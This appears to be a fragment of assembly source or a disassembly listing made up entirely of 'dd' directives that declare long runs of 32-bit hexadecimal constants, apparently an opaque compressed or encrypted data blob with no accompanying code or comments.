dd 0A75D11A6h, 79CEB33Fh, 0BD62487Dh, 69738008h, 5960A300h
dd 0D82000AEh, 1CEB67A4h, 0C02E441Bh, 0C71F2654h, 73BCB384h
dd 0BD1E24A7h, 0F02ACF2Eh, 0C0FF1C24h, 59DDCD80h, 2B985F51h
dd 0C800146Eh, 21C0322Ah, 0F5021D46h, 93C4475Bh, 896B268Fh
dd 0A27D601Dh, 490C8027h, 782024E1h, 1C709A6Dh, 4318ACBFh
dd 0ACF90CEh, 0CBB39F90h, 0C1F06298h, 5E1A9705h, 74079E39h
dd 0EF84B8E5h, 8C6B6F4Bh, 0F4108FE0h, 0CB51EB14h, 10544C97h
dd 0C90071AEh, 0B62AE3FFh, 86F6319Eh, 663CA09Ah, 88BE079Fh
dd 0CD8BDFDCh, 8003C7CCh, 67819B1Ah, 3A51077Ah, 0BC542CF8h
dd 41098CAAh, 9E52C9h, 0C50D2834h, 1CD1EBAh, 3124E0B3h
dd 8043DCB8h, 97890068h, 0A06D27E3h, 69014F41h, 6B113120h
dd 0F743E5A8h, 8348180Ch, 0B78A317Fh, 0D30028F4h, 4439BD3Bh
dd 3994D7A9h, 50AEF505h, 0C5283BF8h, 933E12A4h, 8804CEF6h
dd 2EAEC1ACh, 995092B3h, 2D902081h, 6C8824h, 0EC4C78D7h
dd 22671354h, 42B1F017h, 1B73E103h, 0C098FACCh, 8064FA50h
dd 0BC4AB0F6h, 0D523E02Fh, 27D79E00h, 0C7BCAD9h, 2B9101A6h
dd 70000941h, 323E2E43h, 0D2CB72h, 9D1804E6h, 74C1830Dh
dd 87072090h, 0CBE07FFBh, 3F90BFB0h, 9BF94E93h, 0E7EE8070h
dd 8078F7CDh, 692E1A89h, 8428FCD9h, 0D4D61F2Ch, 38884E08h
dd 0CC7950Fh, 3B100AB3h, 101849A0h, 9300F524h, 88012AE5h
dd 1D53C396h, 40C66CCFh, 42EE1B6Eh, 1513EF5Fh, 0B08B4D85h
dd 99C0D5C8h, 7F1C6A86h, 30C4FCA2h, 0D4412890h, 2600ECF6h
dd 5722021Eh, 1FC187h, 21FBFAABh, 0A967A28Dh, 0C1B43548h
dd 2FA5CB9Eh, 83253C3Ch, 0CC78C8C8h, 0FDEE4E01h, 7280182Eh
dd 3FC41980h, 197439CDh, 5BA66F0Bh, 0B60B00E8h, 0A1B18A8h
dd 8368A9CEh, 4E8B0018h, 97447BF3h, 8E09A00h, 9DAC4334h
dd 641E48EEh, 8CA0BCh, 0B6C59299h, 64A5D5DDh, 7A2D090Ah
dd 7C26D068h, 6F212174h, 5B6A8780h, 7523193Ch, 0F04F4922h
dd 3076597Dh, 0E89F5069h, 8F80D311h, 0D7FE9180h, 5A205900h
dd 6776E5B3h, 92263424h, 51F4C260h, 607E3C49h, 0E99DF4h
dd 0B080E5C9h, 0B9072058h, 88AA43E8h, 1DC2056h, 76AC2F58h
dd 30D4B1C3h, 0C8006B2Ch, 7CBB6F72h, 73F87F7Eh, 584E7580h
dd 773AB82Bh, 0C6566C03h, 9B906B83h, 0AE1F9985h, 84F83C48h
dd 3F6E2B1Fh, 0B29F4480h, 74BC98A9h, 0C73D0192h, 0DA3C91FDh
dd 0BED5F811h, 219729CDh, 46C71801h, 0BF4E498Eh, 48949092h
dd 3DB5B805h, 128538D4h, 83A7EC1Ch, 16E5578Ch, 7DAC61B8h
dd 0A565D5B2h, 91A41759h, 0E5A48079h, 0E83931h, 1177A25Eh
dd 3DB9EB96h, 0AE68819Dh, 0EC006D52h, 5A3E5BCBh, 39BB0F14h
dd 3E015EBh, 60498BFEh, 6F214EC3h, 686300F8h, 71FC448Ch
dd 8D3201D0h, 771A2306h, 54442AB5h, 0DCBD7AB2h, 8026B4E8h
dd 0B2088CB6h, 73502870h, 7461827Bh, 201E10D5h, 49A10048h
dd 0DC19A677h, 0B824702Fh, 65259038h, 60A3E498h, 5FE7C8Ch
dd 57BF1ADDh, 0F92CD1AAh, 0A49E4A1h, 686F8B05h, 0BCC87956h
dd 1F0475B6h, 80A3316Bh, 3294C774h, 0FD053F03h, 0D1CD09F9h
dd 0C4245807h, 97FA8930h, 88239F59h, 0E912827Fh, 0D454151Ah
dd 91671828h, 97BFEA19h, 3FAD8000h, 17604E76h, 3AE7C098h
dd 2A0AAFFh, 5E57C4h, 6A722DE5h, 467684B4h, 0A9C600D7h
dd 2AB75A36h, 35760250h, 0B1CBF474h, 0FAC6BCE8h, 0D6C96B01h
dd 31835CF0h, 30478FDCh, 0A7B9822Ch, 0CB2D38EAh, 44446745h
dd 1881606Bh, 0AA88389Ch, 0CBE84E9Eh, 84501A97h, 6F733A16h
dd 21B17CA3h, 38200C6Fh, 11AD47BDh, 8244D047h, 0C3F52060h
dd 6CDF8E03h, 0C2074223h, 6C5936h, 0AAB3AD1Ch, 1DF06B57h
dd 8389BD1Dh, 0E49CD40Ah, 30C49309h, 24023D10h, 42A4AF6Bh
dd 0BB0080D6h, 0FC1D224Ch, 68E00ECCh, 3A9646A5h, 0A32370h
dd 9C5F770Fh, 2361919Ah, 9BD05CA9h, 13EC4F70h, 29A48EBCh
dd 0C2B2B14h, 0BA00A423h, 6125D6CEh, 0A6B78F1h, 7183632Eh
dd 0DF6687A0h, 133970CBh, 9300C758h, 1BCFD3A2h, 4FAF826Fh
dd 88D0CFD6h, 701CC07Bh, 91C9B9F1h, 4BC88283h, 80A40955h
dd 106854A1h, 2D02C4D5h, 91ACBF6Bh, 65003CDAh, 3D799E07h
dd 77C1E525h, 28EEE839h, 93C0C712h, 40297030h, 1C625604h
dd 48B34F83h, 0A8E74052h, 6411CC0h, 705209CFh, 2C8281C1h
dd 0CD649F3h, 3E624676h, 0AEF70264h, 421985A2h, 9D1CC409h
dd 8C1DF0B7h, 32F5A9C1h, 0A0AC1F52h, 0E8682596h, 3A806837h
dd 60F22A70h, 0BE3E1694h, 0A8D88586h, 8C78BC0Ch, 0E790DD03h
dd 7E939CDh, 9BFF6F19h, 169CE19Dh, 4D68A7FEh, 70A0CEA8h
dd 80BFC8A7h, 0D620390Bh, 0B1610DFBh, 0CB82A46Ch, 90003115h
dd 3E095C33h, 924E3983h, 187407C4h, 31B1DB80h, 3BA8E3Eh
dd 0FE3DAEDDh, 35E8892Eh, 99040BF8h, 0ED11EE0Ch, 3E4E58C0h
dd 60F66BFAh, 0BE34DCC0h, 28C2EA4Ah, 0DF805D20h, 0B33FEEA0h
dd 843ABF4Ah, 5E01AF23h, 5C967750h, 76CCC449h, 3C8B9F32h
dd 0AA643467h, 0BF870260h, 35E7B909h, 1C07022h, 0D553AC49h
dd 0E0F3F22Ah, 0A8B4137Ch, 0AE4674h, 1DF57CCBh, 38A0E869h
dd 278BFF9Eh, 0D6007270h, 0A3B2732Fh, 0F1D47455h, 413CEFFDh
dd 5C28801Dh, 72F668BAh, 1DD095Fh, 4079562Bh, 465C34A6h
dd 509A002Fh, 410821EEh, 1EAA2D99h, 0AFE0ACCDh, 4B3F0E88h
dd 68949DB5h, 8CAAACB0h, 32CC640Bh, 418C78D9h, 84302B76h
dd 95633F5h, 0EB8382AAh, 8311509Dh, 0FB53B680h, 0BD1F2294h
dd 0C981AF63h, 7096AAF5h, 0E9EF80D5h, 406D57EBh, 0CCF1BF14h
dd 4885B8C8h, 78D10A77h, 0F0917CD5h, 2C829FBAh, 0F10731ABh
dd 307C6728h, 0EF103F2Ch, 741AB33Dh, 0D6F5FF00h, 68A55EC6h
dd 0DC70BEA8h, 98120298h, 0F8093D5Bh, 0D3850F1h, 5F9E7630h
dd 8C342BB0h, 0A7F2A8A2h, 327D30h, 9E1CC5D1h, 9139995Ah
dd 0AC8EBA4Bh, 9AB2810h, 9164F639h, 2F10BD34h, 805C3C26h
dd 0AB0213A0h, 17FB04E0h, 0AE0D93Dh, 398CB440h, 56DBC902h
dd 3C7A836Bh, 0F9B67800h, 0E241BF4Ch, 472901E7h, 6FF314Bh
dd 16180B3h, 0E9E309EFh, 9F16075Eh, 31C1EEA2h, 3E9A2610h
dd 0A767820h, 324EA98h, 6B795B1Eh, 34E8A890h, 477CB814h
dd 9801FE4Fh, 4D09CB15h, 6BBB3980h, 0AC173DEEh, 0A2B01E7Eh
dd 0E953F632h, 705CD37Eh, 18B7D5FBh, 7DC445D0h, 0EA89805Fh
dd 5A500F49h, 1480F034h, 7A17839h, 1E838471h, 5968E24h
dd 0F8A5C798h, 30D6EDBCh, 0BC385F06h, 9ECB80C5h, 0C390EF0Dh
dd 0E73C3D05h, 2C6263A7h, 0B5C44856h, 0F4B8B244h, 1D03EEB0h
dd 412A3423h, 0E3F6C0CBh, 0C49EA9h, 125A089Dh, 57301809h
dd 0E668167h, 4CDF0197h, 0D53C7862h, 3F45F41Ah, 7069AB24h
dd 1DC39908h, 79CDC218h, 88A4E8C6h, 0A1A8C883h, 588CE600h
dd 16B51F1Bh, 0AD86256Eh, 37D76CC0h, 84C8255Bh, 0D11B62C5h
dd 3CD42EA5h, 8674912Fh
dd 3C94D0D0h, 23F5854h, 43C9096h, 0CC597Ch, 0C14D811Dh
dd 36C53AD7h, 3EA43806h, 7E004107h, 4D6BDD0Fh, 0F99BCD81h
dd 0A5810828h, 75A33EAh, 916010C9h, 2410F2F2h, 85220Bh
dd 0C7EF3CA5h, 874B713Fh, 0E5C97C80h, 41B288E3h, 7492404Bh
dd 0BD072560h, 13448ACh, 0DE7B317Fh, 218F7455h, 726CC465h
dd 6B27F2F9h, 0CF04225Ch, 4EBD026Fh, 8054C8F8h, 0D326ECACh
dd 60AFF8A5h, 0C24627BCh, 89FE2D39h, 19EEB300h, 98AF120Eh
dd 1038E665h, 0EEF9860Ch, 259AB30h, 0C3F6B14Fh, 78542489h
dd 46766426h, 0D7180E84h, 6E74C1E4h, 682015A8h, 9CAE484Fh
dd 178C62F8h, 0CC357958h, 51DFFFC0h, 193C3D0Ch, 0D4180939h
dd 0A0A077C1h, 0C79428B8h, 65639B2Dh, 6014E4C8h, 9462095h
dd 17A85080h, 4070A804h, 0E65431EAh, 732601ACh, 7F58D985h
dd 9AD842C1h, 0CF1BF4A0h, 189C3C79h, 9476838Ah, 0F253E681h
dd 0E2FFFF7Bh, 1981C02Ah, 0D154B1B4h, 84D41978h, 0A43CE3FDh
dd 0FF014920h, 0D2F34A8Bh, 81A670BFh, 22F91EBCh, 6A60B279h
dd 1B4C2019h, 45BD01D0h, 4D128FE9h, 7DDE60F9h, 7256ECE7h
dd 0C98C0C1Ch, 0D4126E64h, 8588DCCBh, 0A1F273C0h, 0B106059Ah
dd 33A0B534h, 0F79C27E8h, 34017D6Ch, 777DAD73h, 0A82017C1h
dd 0E0429587h, 7DC547Ch, 0F0A89E2Eh, 0CB3600B5h, 34244FF8h
dd 6882B012h, 0A746E470h, 0C4101B90h, 3EFD3FAEh, 0FB3216F4h
dd 0C85C3E08h, 631065BAh, 489FB881h, 61E27023h, 0B5DF033h
dd 18409890h, 0CC0C4DE2h, 98D073ABh, 53F211DCh, 6FFCC324h
dd 0AA73D964h, 0C901D07Ah, 2A39909h, 0DC5ACE07h, 3C74772Ah
dd 143F3120h, 1081803Bh, 2C45609Eh, 96281C3Ah, 0BE90DC26h
dd 0B72B320h, 0D995EB74h, 0B656A4A1h, 9DCF027Eh, 846011E8h
dd 0A3C5B83Fh, 0CA4FAC20h, 8BB30066h, 49E4C44Dh, 98A8B206h
dd 203B9FBh, 0B709F3BDh, 27EDA031h, 0F2BE1E12h, 0A80DD2F5h
dd 0C66225E8h, 56D8B644h, 14CD446h, 0C910AE00h, 0FB634914h
dd 724EB809h, 60E8ED11h, 0FAA69150h, 0E3BE0714h, 8572EB8h
dd 80DA1197h, 0C29708C0h, 0C10BDF83h, 0F00F01CDh, 889A95C8h
dd 2F79ECD1h, 0D4388718h, 40D5A7EBh, 25BF560Ch, 5C536BC2h
dd 12D63D0h, 9EB0E830h, 84289DE3h, 0BD686B58h, 0D7C81DAFh
dd 0D8F24Fh, 10E0B6C0h, 0A7C468h, 9D84D71Bh, 1E59A192h
dd 0D5E5F202h, 62129A5Ch, 2DB4D4FCh, 5961F06Dh, 206B1D24h
dd 0C142F600h, 15B2A005h, 0C8C11E0Dh, 0C2C69C3h, 0F5831302h
dd 0D474F0A4h, 8B3F3903h, 98EC8160h, 5C6F9470h, 0AF90FC73h
dd 0FFF1C845h, 0B0819ACh, 0B46FD951h, 75653F40h, 92F15167h
dd 249E49F4h, 0BE5C8891h, 286D4A4h, 61A0CEC7h, 0D8300355h
dd 60B8C4EBh, 80C49BD6h, 0DC2F9E99h, 42A62731h, 7B565060h
dd 6359A1C1h, 6430B117h, 60B80B37h, 0EC827E82h, 84438FAh
dd 51C36E12h, 4E3E0C80h, 2DACB48Ch, 85E4F0E5h, 0D1FF760h
dd 0CEBED500h, 6641B3ABh, 60F325FEh, 689098C6h, 0BFC35C04h
dd 28F969A3h, 0F408F1B9h, 102739F2h, 112C6004h, 12C87BDCh
dd 6E2513EFh, 6ED010BCh, 2BC0CBCFh, 0EA396356h, 903827BDh
dd 6020E072h, 76B71E0h, 50D6ECF5h, 0FD806451h, 8A2A0098h
dd 8D2B2DF1h, 6CD500CEh, 5A4FBA75h, 110943FDh, 2A9554Ch
dd 565F4288h, 2F465E90h, 0F61C0A76h, 84ACF9E3h, 0E402AFB0h
dd 0A35EC3A0h, 0A7484401h, 188061E2h, 9121CFD7h, 0D490FF46h
dd 4084B00Bh, 7B44D1DEh, 32FE60D4h, 71CE0331h, 0D03DFB0Ch
dd 0F856C5A2h, 6ED32174h, 92066B80h, 2CE7DFh, 9BEFFE5Ah
dd 0A3AECDBFh, 49E52FCh, 3FAE465Eh, 282280B3h, 5B19CDDFh
dd 0FB9B00FFh, 25A4AACAh, 0A14C3F02h, 58CD4A0Ch, 511D2872h
dd 14DAC02Ch, 0CD2F0365h, 263C471Fh, 741B28F2h, 0F100DC88h
dd 0A904ED94h, 0B601EB9Ch, 27522478h, 31CB1C64h, 0CAD60B66h
dd 761CC974h, 0C453E1A5h, 71F4D371h, 1DC300D8h, 3FAC4514h
dd 58670E56h, 7C13C978h, 0BCB5CCA0h, 0C1F1BC66h, 0BF28C82Fh
dd 2BB74E1Fh, 3BA9B200h, 3CA8062Eh, 0B98FAAC8h, 46A4B338h
dd 0C02CB810h, 729F684Ah, 0CB3800A8h, 57FBB86Fh, 0AF904B6Eh
dd 1C74BBE4h, 20637D25h, 155491A0h, 5329CD6Bh, 63180021h
dd 48C7CAC0h, 71496AC8h, 0E592BD98h, 5B3482F8h, 6CC80705h
dd 86040087h, 0A9EF2E11h, 0CD05C8ADh, 485FC075h, 0C06BFC08h
dd 0F6108656h, 0B02CB25Fh, 87AE09AFh, 94022428h, 0F8EC9058h
dd 0F31070F2h, 0CE023C5Bh, 4864E1C3h, 7A50405Eh, 68208072h
dd 6D4AA572h, 7423848Dh, 7430D7A2h, 0B1C0046h, 5A4EFF9Dh
dd 6013A69Fh, 7CC081E3h, 974741B2h, 22A52018h, 98B1F728h
dd 3EFB0A18h, 38B850h, 742AD7F4h, 3090E4E3h, 0C304BF73h
dd 1EE0989Dh, 0A0C8E08Bh, 0D979A2C0h, 0AE9E04CBh, 907A5618h
dd 1A912834h, 704E7400h, 8E59BE36h, 0BF07F0A0h, 2CDE0C20h
dd 8707F2F3h, 0BAFEA42Fh, 14160F00h, 0DC03094Ch, 0D8511B50h
dd 1A0B9FA6h, 21406869h, 0AF5080DAh, 4C9D7C98h, 3CA00C0h
dd 55176AE9h, 650ED711h, 21579FDh, 0B2536BC5h, 7080DB98h
dd 56304307h, 54F0716Dh, 1B8B00BDh, 26825781h, 0F200E7BCh
dd 5A3558DDh, 0B0B2C587h, 9E797EB4h, 60352F34h, 2691D686h
dd 0EBBF0589h, 80629ED4h, 5F667FC7h, 8B75F93Ah, 923F7978h
dd 8FA440D4h, 0AC568254h, 0D1B86162h, 15E9022Ch, 0E6C0DBACh
dd 0A5F4A922h, 0BDF7FA17h, 5225CC42h, 2D250F7Bh, 0FEB70972h
dd 0F6121050h, 0A09B58AEh, 0F648D580h, 2041B1F3h, 6E625888h
dd 1239F21Fh, 14BC1441h, 18CADE8h, 76EE3023h, 2CD54DC3h
dd 0C8B12DC0h, 13522498h, 12781AEDh, 0C87C8BA4h, 4DCAC0D5h
dd 4209E36Ah, 59869DC7h, 49188380h, 0A194AF82h, 0E4DB2F00h
dd 0D87EF8Fh, 782C0035h, 6616A42Dh, 0B4A26AAEh, 521840h
dd 0D79FF2ACh, 4B6BDD97h, 8126AB00h, 67878A98h, 0E566169Eh
dd 15BCA01Ch, 948BF95Bh, 970063DDh, 92F49E5Bh, 66D7050Fh
dd 0FC3D798Ah, 1C21C17Ch, 0CC725694h, 0BEA4750Eh, 0C190B12Ah
dd 3841E36Eh, 90DD4A40h, 7AE27862h, 2DF3330h, 66A56BA1h
dd 905C63A9h, 75D2B151h, 638A8BDh, 2BB5CBF4h, 0A36B09B0h
dd 5453529Bh, 0F501F70h, 0C5E7A052h, 687995EBh, 85A06E25h
dd 637BC484h, 6DA81465h, 0EA84AC21h, 0EB96024Fh, 0F9B8D8A1h
dd 7868344Dh, 38C82ACh, 3C40159h, 489046B7h, 902EA7C1h
dd 4F1F5DCFh, 0D88DD74Dh, 0F590302Bh, 763E31CDh, 0E2779356h
dd 986D44B0h, 721C4558h, 30D5F250h, 41004AF7h, 0D7D3DC18h
dd 113CF26h, 0A5A27924h, 79B417EAh, 5CAD808Ch, 3A01462Eh
dd 41807205h, 39256428h, 30253A56h, 0E7686DB8h, 0FA755242h
dd 6E51A05Ch, 0FE2021h, 74449B2h, 608D7B07h, 4080B309h
dd 5C4DF9E5h, 0BE174411h, 0FF80839Ch, 206881E0h, 271E9400h
dd 0BF49EEAAh, 987E4836h, 72BAB282h, 38C42Bh, 0CDFE4CEEh
dd 70A8FCECh, 88F89D95h, 85606ED7h, 0FAAB401h, 0F9DB66B8h
dd 0C177D941h, 0E544E4E3h, 0DEBE3500h, 6C3ED4ADh, 40B949CBh
dd 6AF8C609h, 15E424C5h, 60014161h, 9D1E8BB4h, 79D69FA8h
dd 3480CC94h, 96751620h, 0D7B81F40h, 1EECB20Eh, 59D2BE30h
dd 0A4F2ECE3h, 2E94C630h, 47DBA1h, 0DA917339h, 9A137D49h
dd 98E21F40h, 0DC952F00h, 0BFE8C78Fh, 0BC69AA0Eh, 0B49FC113h
dd 252E67CBh, 4068F36Ch
dd 0C6603994h, 0E0A63418h, 17C890FAh, 4301E396h, 0F6EB8214h
dd 96C7CDC1h, 0EC219028h, 4ADCF2A6h, 0D9462505h, 4944C059h
dd 0D7C8A88Fh, 2EB7CBC0h, 76C20031h, 670B1938h, 8E17C970h
dd 2CCB6D02h, 0CC0063DDh, 81147EAh, 1285E29Dh, 2091EE1Bh
dd 2D92CE90h, 3C0017E8h, 246A68AEh, 58A13A98h, 120974C1h
dd 5445EEC7h, 4460A4E4h, 0EA002E84h, 0D5A7FEA5h, 121B3CA2h
dd 88E9CB76h, 9F2C3FA4h, 47A7D883h, 8F516FD4h, 2ED9C0B3h
dd 3307BDA7h, 938827A1h, 0EEE09160h, 4F6D0F1Bh, 88448E13h
dd 0C0A1C7A0h, 15734D3Dh, 0B21CB16h, 48B27452h, 0B2B10C00h
dd 0D3353FBBh, 0CFB38902h, 0E7F473FBh, 6F2E4274h, 0F0DE718h
dd 3B13C954h, 5CC266A3h, 0A755B5F0h, 558EA13h, 15B2A8B3h
dd 55A130h, 0CB49DF52h, 0EE5A12A2h, 393ACF00h, 0BC68584Fh
dd 52B2755h, 21C2F8E5h, 74B0186Fh, 3F2FF509h, 27BC73B5h
dd 2FE520E5h, 0B01A2820h, 45C327F6h, 56300C82h, 18815742h
dd 5E5DE7CBh, 5F07DC30h, 8A550967h, 4CED0095h, 9DAAC0B9h
dd 5317F700h, 0EC399031h, 1E1B0125h, 19C36089h, 0C08E3A2Fh
dd 0A3C0A1C8h, 0BAB6AD7h, 57399AD0h, 5113F496h, 0C0426AAFh
dd 5CE3E5C4h, 51B8CEF0h, 721E4D6Dh, 6300CB55h, 0EAA30810h
dd 25CCBEE3h, 0B23345Ah, 1D611ACh, 70E93F90h, 2888F0C0h
dd 0F4125FEFh, 255058E4h, 288F42AFh, 305C3F69h, 7646A11Dh
dd 4E1863EEh, 6628F0C0h, 0B0F34501h, 77512FF4h, 208542E5h
dd 91E1EBF6h, 50249068h, 2F22A3C4h, 4770A860h, 0B56E97C4h
dd 48576CA2h, 0BB8EE501h, 259301D8h, 0B8C0DD4Fh, 0C775361Ch
dd 45C16F00h, 0C6793EF5h, 39E0A8CDh, 0F4084C18h, 0EFCFD7C0h
dd 68050363h, 9EA7507Dh, 7707AC21h, 0A3B2E98Bh, 0CBF62C10h
dd 0F8CABD20h, 0F40CA1BFh, 3FA19F1h, 68F3A63Eh, 0F9FBE116h
dd 9BD6445Ch, 0D13F2006h, 0C04D0391h, 8167DDFDh, 18B6E006h
dd 7D521AF3h, 0FAA328B1h, 70C90F78h, 9D709F0h, 0B4F0CEF3h
dd 6F815660h, 165ACDFBh, 6FBAC53Dh, 886D004Ch, 2541DBD3h
dd 7C0600CEh, 34D5EEBCh, 0B458BD2Ah, 0BC6E5E10h, 2DB92201h
dd 3D573BA9h, 0A49F0064h, 0EF376C46h, 2E26082Bh, 0AC113E4Dh
dd 618A4E00h, 3FA2CD94h, 582D0A00h, 0BD6A3493h, 9B470239h
dd 6E70E4B5h, 0C16B085Eh, 73019180h, 78167F01h, 3AE00CA6h
dd 30004124h, 99FDCA93h, 4AEB74B4h, 8738C2A5h, 0C9713CD3h
dd 1C0D29C4h, 800391CFh, 0FF66324Ah, 4C12F1E3h, 0B0E102C2h
dd 0C874CE3Eh, 0A1E3C07Ah, 0F648247Dh, 0DF02829Ch, 0F9F4044Ch
dd 98B64B94h, 0FF92DFE0h, 2C90A32Eh, 44C9C802h, 7AF05CFCh
dd 0DE59E840h, 0EC88164Ch, 5C278CACh, 18648Fh, 181CBE25h
dd 722670C2h, 956D5404h, 0C48CF727h, 0AEC34405h, 10732622h
dd 2D5EDE3h, 67F2231Bh, 20C07AA7h, 0F4FA9222h, 551CC295h
dd 3400D03Dh, 0F8D0DEFEh, 0F1A90069h, 2DA5688Eh, 3D37A0E5h
dd 898E082Eh, 191C0C2Fh, 2480BF10h, 0CA7989BCh, 0CBEC9206h
dd 0B7882729h, 0B8E5CC82h, 91449D57h, 0AD91806Bh, 5C808E0h
dd 98193924h, 65CCC16Bh, 580826F6h, 8EA1B898h, 75774100h
dd 6CEBDC17h, 0E8CD4DCBh, 10A63402h, 0F8E7D0B9h, 50678364h
dd 473157E1h, 1EC07900h, 0E0F5C999h, 1F603E72h, 7A6E560Bh
dd 0C52964DAh, 518B9825h, 76AC5CBFh, 8B096246h, 0A0483079h
dd 2114FE75h, 883424ECh, 0D37810B8h, 25A094A6h, 0C509DA0Dh
dd 79E0E5C8h, 51164674h, 29EBF41Ch, 8C777877h, 398BE930h
dd 207898CFh, 1E018523h, 0A751D7F3h, 8C406066h, 3EBC1FEFh
dd 0E903EA49h, 0B3277519h, 6B7F92C9h, 84C8348Eh, 9A9C28C3h
dd 694AE037h, 7D83378Eh, 110EE021h, 0CF391C5Ah, 9E3001Bh
dd 2CED52D5h, 30781FBFh, 8CB4024Ch, 34F025CBh, 35EC1858h
dd 706FF91Fh, 58561C00h, 0CFF588AEh, 33349909h, 187957h
dd 0A88FC170h, 6874D7F4h, 0F125FC96h, 944D2764h, 964FA8C0h
dd 0EE6E0EE3h, 4E9EAE29h, 0F8006399h, 0BF0FE96Bh, 491AAC00h
dd 0CBB31C79h, 0F8A09D55h, 0DF9C156Ah, 12A46D00h, 0DC4CFFC7h
dd 0F4681CD6h, 262CB10Fh, 58982B17h, 63B50420h, 0ADE7BBE2h
dd 3C8A923Ch, 67C22FC8h, 0B150E0B0h, 9C9080D2h, 0D8F76E4Ah
dd 0B1D3A6A0h, 0AC246909h, 0A5F473D1h, 0D3592C51h, 160E1A18h
dd 6250288Bh, 5CFBD4F4h, 0A0504BE0h, 0E09DD84Bh, 0C7019441h
dd 0E2BE1989h, 6427E4FEh, 615B0FB4h, 5F696402h, 945C740Bh
dd 0ECA24113h, 18F2A900h, 865AE310h, 8A4BFB00h, 0CB01580Dh
dd 98F34C77h, 5C306E89h, 0D25F3C7Fh, 0A9A3CC80h, 22903072h
dd 2965C9F1h, 0A85FE31Eh, 9396058Eh, 0A2BEC483h, 64A05776h
dd 6B4F7069h, 5500BFF8h, 9FCECBB2h, 0B0C5106Eh, 8ACF1DCCh
dd 840789E7h, 65EB105Ch, 6063E438h, 0F3B3B0CFh, 1C4E7C22h
dd 0F79D0A44h, 0F83BF6h, 72EDD402h, 79B5E75Fh, 0C02F1D4Bh
dd 0C06ED310h, 6109D9EFh, 428FF5Dh, 0D0DD2080h, 39007FA6h
dd 2130A290h, 2E655E94h, 85605FC4h, 0F8F3F215h, 0E8B2D630h
dd 230ACB2h, 20390209h, 0F6563F36h, 0E7CF0CE8h, 75463517h
dd 88100056h, 135D001Ch, 0CEE6044Dh, 0FA260037h, 78F89076h
dd 6F03A280h, 0B72E41FEh, 7DC0B2CBh, 7B116C1Fh, 0C4025889h
dd 3001C429h, 226FA676h, 88707908h, 97983801h, 0CEF71F50h
dd 0A5BCCC3Bh, 0A1771A10h, 0F0399000h, 1B192686h, 35CB6E04h
dd 0B4B816D0h, 7320D1E4h, 0FAA30068h, 4866619Bh, 7977C79Fh
dd 24B04B64h, 0E671D21Dh, 6DEAE074h, 8C67002Fh, 21E2459h
dd 72D7C11h, 67C8CF76h, 21C300F2h, 44BCAB1Fh, 1E4B0CC0h
dd 0CE540043h, 7767900Eh, 0A5777FE3h, 48AE6407h, 321F7E24h
dd 0BAB218B8h, 0BECE2516h, 6F250870h, 90ECC592h, 68AFB1CBh
dd 0C86129A5h, 10184146h, 6249A597h, 61EC56FCh, 2DFB3E7Eh
dd 0E6B8B8h, 97072552h, 0CC390BDh, 0F3A96125h, 6B3C8DD0h
dd 9CDB2B59h, 51AA8480h, 350FC58Eh, 0A08C651Fh, 70CC0750h
dd 0E09497B9h, 3E61A161h, 3C9276h, 0D644CC4Ah, 0C089EA4Bh
dd 4C6F2Ah, 20EACAB8h, 4B5749EDh, 2A489D87h, 7B806C9Ah
dd 0A63F81EAh, 891EFA38h, 5C289C97h, 3876CB1Ch, 61C816D4h
dd 686C0062h, 4CE745A5h, 11209D9Fh, 0FD4D807Ah, 4B04CF90h
dd 6F8CCD4Fh, 784C820h, 4849005Dh, 2281B0EEh, 0BC4BF986h
dd 0BC11F88Ch, 1D17D600h, 8D003F61h, 9ED6E655h, 22A31310h
dd 988B9ABh, 5C8D363Dh, 3979E258h, 0BB123CD4h, 8D258B8h
dd 61823E34h, 0C08FE5C9h, 5BFCF0D4h, 0B2B8E338h, 0CE7930AFh
dd 0B9105909h, 0A8C07145h, 74E10490h, 0E83C86FDh, 30EABD70h
dd 9A73F4D3h, 0E48C5700h, 5EBFA384h, 241E0E69h, 0E7B2F6BAh
dd 549A5FB8h, 13E0AC81h, 0D50FE503h, 58106ADAh, 16C0228Ch
dd 0A2025756h, 12244C90h, 0B4295A4Eh, 79CAD9F3h, 7238777Eh
dd 0DCD01256h, 1648BF49h, 0BC6AC367h, 0EB01AF23h, 60C6A751h
dd 0C2113841h, 4E576600h, 0CBEC89C1h, 0A004C645h, 0B84399E0h
dd 0FE3061E2h, 0B8524D1h, 1EEE0720h, 48658620h, 0F796F44h
dd 0DC930173h, 0F251CAC0h, 9C007646h, 0A0961DC9h, 9DA6B306h
dd 0B856D8CAh, 82ECB840h, 1C934C0Bh, 0E8529B14h, 138CADE8h
dd 0A66ACBB0h, 90B228C4h, 1ECA3D20h, 692A5630h, 6442C2E0h
dd 806A6D11h, 0A1751DD8h, 8A544Bh, 0A56E4079h, 5D9B2216h
dd 41D2D0B4h, 6D900171h
dd 7C883EA6h, 828F00FCh, 0E8FEFAA9h, 0F07CEEAh, 3EA1B6D2h
dd 0F119831Eh, 0E8D0F44Ch, 4FF328E8h, 0E8585AF9h, 0DE0C54h
dd 1015C554h, 0AC685B6Ch, 838CEE07h, 893002B1h, 0C205CB94h
dd 57FA3EF1h, 0B9891456h, 0D8F68622h, 347A0078h, 0B236103Dh
dd 6C13B72Bh, 84A02DCBh, 0EAA70962h, 4FE57F3h, 6B4676h
dd 33F9C134h, 0E16077h, 3EEE358Ch, 78C9FF97h, 9D9EC409h
dd 69B88168h, 0F5F066FEh, 27AD77ABh, 381D1E9Ch, 0C1867B11h
dd 0C0C2B066h, 7D4426DFh, 828708B7h, 43302B78h, 5545A86h
dd 4D174424h, 4C09AB73h, 60D9FFh, 52C54959h, 0E9128C21h
dd 180177AEh, 0FF69D1F7h, 81A4DB3Fh, 0F497F687h, 8804C431h
dd 7C6EEFh, 57ACE84Ch, 80702E77h, 61E129EFh, 0FE8830F4h
dd 70829F5Ah, 0D8F8F98Ah, 1866F2Eh, 0FB8051B7h, 73F30835h
dd 30D2E224h, 1C054ABAh, 2977653Fh, 0E680FCF8h, 4D7D428Ch
dd 2F67C616h, 0AABCACBCh, 537D038Ch, 0B4079574h, 0E78C1900h
dd 0EBBBA15Bh, 364A01EFh, 0B3ACD308h, 20B449BEh, 6595E090h
dd 21E21AACh, 2DDC1874h, 6480D597h, 3A1E29F4h, 0CDF030E9h
dd 4B1B2B80h, 7CA4C857h, 9A0E040Fh, 0AC856034h, 9CCE1563h
dd 4F700B90h, 0D7F4A401h, 541E2E6Fh, 0E302A3C4h, 55275CA8h
dd 0E49C04CEh, 7FE03ED4h, 2A50F83h, 58415663h, 30382BA4h
dd 5D1A42DFh, 274BA850h, 24447094h, 0ECE05800h, 0F44EFE40h
